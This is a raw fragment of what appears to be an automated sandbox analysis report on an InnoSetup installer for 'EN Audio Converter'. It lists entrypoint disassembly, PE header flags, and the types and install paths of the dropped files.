[eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "is-NS8P1.tmp" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1000f4a6,call 0x10016e44,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x1000f3a0,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,push ecx,push ebx,mov eax, dword ptr [ebp + 0xc],add eax, 0xc,mov dword ptr [ebp - 4], eax,mov ebx, dword ptr fs:[0],mov eax, dword ptr [ebx],mov dword ptr fs:[0], eax,mov eax, dword ptr [ebp + 8],mov ebx, dword ptr [ebp + 0xc],mov ebp, dword ptr [ebp - 4],mov esp, dword ptr [ebx - 4],jmp eax,pop ebx,leave ,ret 8,pop eax,pop ecx,xchg dword ptr [esp], eax,jmp eax,mov edi, edi,push ebp,mov ebp, esp,push ecx,push ecx,push ebx," "is-D6C75.tmp" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1002233b,call 0x1003094e,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10022235,pop ecx,pop ebp,ret 0xc,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x1004de28],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc]," "is-FP29R.tmp" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x100396cb,call 0x10039af6,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x100395a5,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x328,mov dword ptr [0x10054ea0], eax,mov dword ptr [0x10054e9c], ecx,mov dword ptr [0x10054e98], edx,mov dword ptr [0x10054e94], ebx,mov dword ptr [0x10054e90], esi,mov dword ptr [0x10054e8c], edi,mov word ptr [0x10054eb8], ss,mov word ptr [0x10054eac], cs," "is-LNM07.tmp" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1001fd54,call 0x1002cb14,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x1001fc4e,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x20,mov eax, dword ptr [ebp + 8],push esi,push edi,push 8,pop ecx,mov esi, 0x10038f14,lea edi, [ebp - 0x20],rep movsd dword ptr es:[edi], dword ptr [esi],mov dword ptr [ebp - 8], eax,mov eax, dword ptr [ebp + 0xc],pop edi,mov dword ptr [ebp - 4], eax,pop esi,test eax, eax,je 0x1001fd9c,test byte ptr [eax], 8,je 0x1001fd9c,mov dword ptr [ebp - 0xc], 0x1994000,lea eax, [ebp - 0xc],push eax,push dword ptr [ebp - 0x10],push dword ptr [ebp - 0x1c]," "is-PISV5.tmp" file has an entrypoint instructions - "sub esp, 0x1c,mov dword ptr [0x66ddeeb8], 0,mov edx, dword ptr [esp + 0x24],cmp edx, 1,je 0x66d81490,mov ecx, dword ptr [esp + 0x28],mov eax, dword ptr [esp + 0x20],call 0x66d812a0,add esp, 0x1c,ret 0xc,lea esi, [esi],mov dword ptr [esp + 0xc], edx,call 0x66db4410,mov edx, dword ptr [esp + 0xc],jmp 0x66d81476,nop ,push ebp,mov ebp, esp,push ebx,sub esp, 0x14,mov ebx, dword ptr [0x66de42c0],mov dword ptr [esp], 0x66dbd000,call ebx,mov edx, 0,sub esp, 4,test eax, eax,je 0x66d814d8," "is-8S264.tmp" file has an entrypoint instructions - "push 0xc,push 0x1003c0c8,call 0x100271a0,xor eax, eax,inc eax,mov dword ptr [ebp - 0x1c], eax,mov esi, dword ptr [ebp + 0xc],xor edi, edi,cmp esi, edi,jne 0x10025e69,cmp dword ptr [0x10047d1c], edi,je 0x10025f1c,mov dword ptr [ebp - 4], edi,cmp esi, eax,je 0x10025e75,cmp esi, 2,jne 0x10025ea6,mov eax, dword ptr [0x10049598],cmp eax, edi,je 0x10025e8a,push dword ptr [ebp + 0x10],push esi,push dword ptr [ebp + 8],call eax,mov dword ptr [ebp - 0x1c], eax,cmp dword ptr [ebp - 0x1c], edi,je 0x10025f18,push dword ptr [ebp + 0x10],push esi,push dword ptr [ebp + 8],call 0x10025cc1,mov dword ptr [ebp - 0x1c], eax,cmp eax, edi,je 0x10025f18," "is-BF2RD.tmp" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1001cb9e,call 0x1002434d,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x1001ca98,pop ecx,pop ebp,ret 0xc,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,cmp dword ptr [0x10042c9c], 0,je 0x100246a7,sub esp, 8,stmxcsr dword ptr [esp + 4],mov eax, dword ptr [esp + 4],and eax, 0x1f80,cmp eax, 0x1f80,jne 0x1001cbf4,fnstcw word ptr [esp],mov ax, word ptr [esp],and ax, 0x7f," "is-BVAGG.tmp" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1001927b,call 0x10025043,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10019175,pop ecx,pop ebp,ret 0xc,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x1003cc20],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc]," "is-S1360.tmp" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x100328d6,call 0x10032d0e,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x100327b0,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x328,mov dword ptr [0x10041ed8], eax,mov dword ptr [0x10041ed4], ecx,mov dword ptr [0x10041ed0], edx,mov dword ptr [0x10041ecc], ebx,mov dword ptr [0x10041ec8], esi,mov dword ptr [0x10041ec4], edi,mov word ptr [0x10041ef0], ss,mov word ptr [0x10041ee4], cs," "is-RC03K.tmp" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10012dd7,call 0x10017f9f,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10012cd1,pop ecx,pop ebp,ret 0xc,push 0xc,push 0x1002ec48,call 0x10015420,and dword ptr [ebp - 0x1c], 0,mov esi, dword ptr [ebp + 8],cmp esi, dword ptr [0x10036ef0],ja 0x10012e27,push 4,call 0x100181b1,pop ecx,and dword ptr [ebp - 4], 0,push esi,call 0x100189c3,pop ecx,mov dword ptr [ebp - 0x1c], eax,mov dword ptr [ebp - 4], 0xfffffffe,call 0x10012e30,mov eax, dword ptr [ebp - 0x1c]," "is-1109E.tmp" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10027b36,call 0x10027f66,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10027a10,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x328,mov dword ptr [0x10038e60], eax,mov dword ptr [0x10038e5c], ecx,mov dword ptr [0x10038e58], edx,mov dword ptr [0x10038e54], ebx,mov dword ptr [0x10038e50], esi,mov dword ptr [0x10038e4c], edi,mov word ptr [0x10038e78], ss,mov word ptr [0x10038e6c], cs,"39:T5e2,"file" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_iscrypt.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-OVA8F.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "file.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-DQV0E.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-U81O5.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-3ND5L.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-SAM9T.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-NS8P1.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-D6C75.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-FP29R.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-LNM07.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-PISV5.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-8S264.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-BF2RD.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-BVAGG.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-S1360.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-RC03K.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-1109E.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE3a:T4cc4,"DioConverterRipper.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\DioConverterRipper.exe]- [targetUID: 00000000-00005244] "_iscrypt.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\is-COCHO.tmp\_isetup\_iscrypt.dll]- [targetUID: 00000000-00005244] "is-HPLU5.tmp" has type "data"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-HPLU5.tmp]- [targetUID: 00000000-00005244] "is-OVA8F.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-OVA8F.tmp]- [targetUID: 00000000-00005244] "file.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\is-7FJGB.tmp\file.tmp]- [targetUID: 00000000-00000824] "is-DQV0E.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-DQV0E.tmp]- [targetUID: 00000000-00005244] "is-U81O5.tmp" has type "PE32 executable (console) Intel 80386 (stripped to external PDB) for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-U81O5.tmp]- [targetUID: 00000000-00005244] "is-3ND5L.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-3ND5L.tmp]- [targetUID: 00000000-00005244] "is-SAM9T.tmp" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-SAM9T.tmp]- [targetUID: 00000000-00005244] "is-NS8P1.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-NS8P1.tmp]- [targetUID: 00000000-00005244] "is-D6C75.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-D6C75.tmp]- [targetUID: 00000000-00005244] "is-FP29R.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-FP29R.tmp]- [targetUID: 00000000-00005244] "is-LNM07.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-LNM07.tmp]- [targetUID: 00000000-00005244] "is-PISV5.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-PISV5.tmp]- [targetUID: 00000000-00005244] "is-8S264.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-8S264.tmp]- [targetUID: 00000000-00005244] "is-BF2RD.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-BF2RD.tmp]- [targetUID: 00000000-00005244] "is-BVAGG.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-BVAGG.tmp]- [targetUID: 00000000-00005244] "is-S1360.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-S1360.tmp]- [targetUID: 00000000-00005244] "is-RC03K.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-RC03K.tmp]- [targetUID: 00000000-00005244] "is-1109E.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-1109E.tmp]- [targetUID: 00000000-00005244] "is-B2PH1.tmp" has type "PE32+ executable (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-B2PH1.tmp]- [targetUID: 00000000-00005244] "is-46CLL.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-46CLL.tmp]- [targetUID: 00000000-00005244] "is-402PG.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-402PG.tmp]- [targetUID: 00000000-00005244] "is-KUMP9.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-KUMP9.tmp]- [targetUID: 00000000-00005244] "is-Q3HE1.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-Q3HE1.tmp]- [targetUID: 00000000-00005244] "is-L0Q3M.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-L0Q3M.tmp]- [targetUID: 00000000-00005244] "is-FN3LT.tmp" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-FN3LT.tmp]- [targetUID: 00000000-00005244] "is-GAPV1.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-GAPV1.tmp]- [targetUID: 00000000-00005244] "is-ECKK6.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-ECKK6.tmp]- [targetUID: 00000000-00005244] "is-6SRMP.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-6SRMP.tmp]- [targetUID: 00000000-00005244] "is-MLG5J.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-MLG5J.tmp]- [targetUID: 00000000-00005244] "is-DADS0.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-DADS0.tmp]- [targetUID: 00000000-00005244] "is-C7LBH.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-C7LBH.tmp]- [targetUID: 00000000-00005244] "is-OE6V2.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-OE6V2.tmp]- [targetUID: 00000000-00005244] "is-ECHF3.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-ECHF3.tmp]- [targetUID: 00000000-00005244] "is-A9KTH.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-A9KTH.tmp]- [targetUID: 00000000-00005244] "is-3NJKQ.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-3NJKQ.tmp]- [targetUID: 00000000-00005244] "is-82GVB.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-82GVB.tmp]- [targetUID: 00000000-00005244] "is-VA83M.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-VA83M.tmp]- [targetUID: 00000000-00005244] "is-77M1C.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-77M1C.tmp]- [targetUID: 00000000-00005244] "is-83UK6.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-83UK6.tmp]- [targetUID: 00000000-00005244] "is-UFIVE.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-UFIVE.tmp]- [targetUID: 00000000-00005244] "is-H69SE.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-H69SE.tmp]- [targetUID: 00000000-00005244] "is-5FAIH.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-5FAIH.tmp]- [targetUID: 00000000-00005244] "is-UJRBF.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-UJRBF.tmp]- [targetUID: 00000000-00005244] "is-V6A1E.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-V6A1E.tmp]- [targetUID: 00000000-00005244] "is-NMF2B.tmp" has type "PE32+ executable (DLL) (GUI) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-NMF2B.tmp]- [targetUID: 00000000-00005244] "is-VHDIC.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-VHDIC.tmp]- [targetUID: 00000000-00005244] "is-1C44R.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-1C44R.tmp]- [targetUID: 00000000-00005244] "is-BFQCM.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-BFQCM.tmp]- [targetUID: 00000000-00005244] "is-G8RV0.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-G8RV0.tmp]- [targetUID: 00000000-00005244] "is-8JVG6.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-8JVG6.tmp]- [targetUID: 00000000-00005244] "is-IGPB7.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-IGPB7.tmp]- [targetUID: 00000000-00005244] "is-DOJJE.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-DOJJE.tmp]- [targetUID: 00000000-00005244] "is-IVAQ3.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-IVAQ3.tmp]- [targetUID: 00000000-00005244] "is-39S2A.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-39S2A.tmp]- [targetUID: 00000000-00005244] "is-QVM46.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-QVM46.tmp]- [targetUID: 00000000-00005244] "is-G95JB.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-G95JB.tmp]- [targetUID: 00000000-00005244] "is-1DQB3.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-1DQB3.tmp]- [targetUID: 00000000-00005244] "is-M7P6N.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-M7P6N.tmp]- [targetUID: 00000000-00005244] "is-ASTF1.tmp" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-ASTF1.tmp]- [targetUID: 00000000-00005244] "is-QC2VF.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-QC2VF.tmp]- [targetUID: 00000000-00005244] "is-0C7HI.tmp" has type "MPEG-4 LOAS 4 or more streams 8 or more streams"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\is-0C7HI.tmp]- [targetUID: 00000000-00005244] "is-AIOLE.tmp" has type "Generic INItialization configuration [Source]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\is-AIOLE.tmp]- [targetUID: 00000000-00005244] "is-5OKHT.tmp" has type "MPEG-4 LOAS 4 or more streams 8 or more streams"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\is-5OKHT.tmp]- [targetUID: 00000000-00005244] "is-HNVLH.tmp" has type "Generic INItialization configuration [Source]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\is-HNVLH.tmp]- [targetUID: 00000000-00005244] "unins000.dat" has type "InnoSetup Log EN Audio Converter version 0x30 15962 bytes DET-FMOZUNXQTWI\HAPUBWS "C:\Users\HAPUBWS\AppData\Local\IramSoft\EN Audio Converter""- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\unins000.dat]- [targetUID: 00000000-00005244] "_setup64.tmp" has type "PE32+ executable (console) x86-64 for MS Windows"- Location: [%TEMP%\is-COCHO.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00005244] "_RegDLL.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\is-COCHO.tmp\_isetup\_RegDLL.tmp]- [targetUID: 00000000-00005244] "is-N3UVQ.tmp" has type "data"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\is-N3UVQ.tmp]- [targetUID: 00000000-00005244] "is-0VAGJ.tmp" has type "GIF image data version 89a 32 x 32"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-0VAGJ.tmp]- [targetUID: 00000000-00005244] "is-LA71B.tmp" has type "XML 1.0 document text"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-LA71B.tmp]- [targetUID: 00000000-00005244] "is-5AVA7.tmp" has type "XML 1.0 document text"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-5AVA7.tmp]- [targetUID: 00000000-00005244] "is-9LLAH.tmp" has type "ISO-8859 text with CRLF line terminators"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\is-9LLAH.tmp]- [targetUID: 00000000-00005244] "is-C4Q24.tmp" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\is-C4Q24.tmp]- [targetUID: 00000000-00005244] "is-2U1I1.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-2U1I1.tmp]- [targetUID: 00000000-00005244] "is-81G5F.tmp" has type "Generic INItialization configuration [Parameter]\015"- [targetUID: 00000000-00005244] "is-E42TA.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-E42TA.tmp]- [targetUID: 00000000-00005244] "is-07QKK.tmp" has type "XML 1.0 document text"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-07QKK.tmp]- [targetUID: 00000000-00005244] "is-NN55A.tmp" has type "XML 1.0 document ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-NN55A.tmp]- [targetUID: 00000000-00005244] "is-7RF6M.tmp" has type "XML 1.0 document ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-7RF6M.tmp]- [targetUID: 00000000-00005244] "is-BS3BV.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-BS3BV.tmp]- [targetUID: 00000000-00005244] "is-FQN9P.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-FQN9P.tmp]- [targetUID: 00000000-00005244] "is-E46NG.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-E46NG.tmp]- [targetUID: 00000000-00005244] "is-HJDNC.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-HJDNC.tmp]- [targetUID: 00000000-00005244] "is-KV10L.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-KV10L.tmp]- [targetUID: 00000000-00005244] "is-8P7LQ.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-8P7LQ.tmp]- [targetUID: 00000000-00005244] "is-TODLN.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-TODLN.tmp]- [targetUID: 00000000-00005244] "is-4PM1P.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-4PM1P.tmp]- [targetUID: 00000000-00005244] "is-PJCM2.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-PJCM2.tmp]- [targetUID: 00000000-00005244] "is-SRGMD.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-SRGMD.tmp]- [targetUID: 00000000-00005244] "is-00LU0.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-00LU0.tmp]- [targetUID: 00000000-00005244] "is-RKLV0.tmp" has type "Generic INItialization configuration [Parameter]\015"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio\is-RKLV0.tmp]- [targetUID: 00000000-00005244] 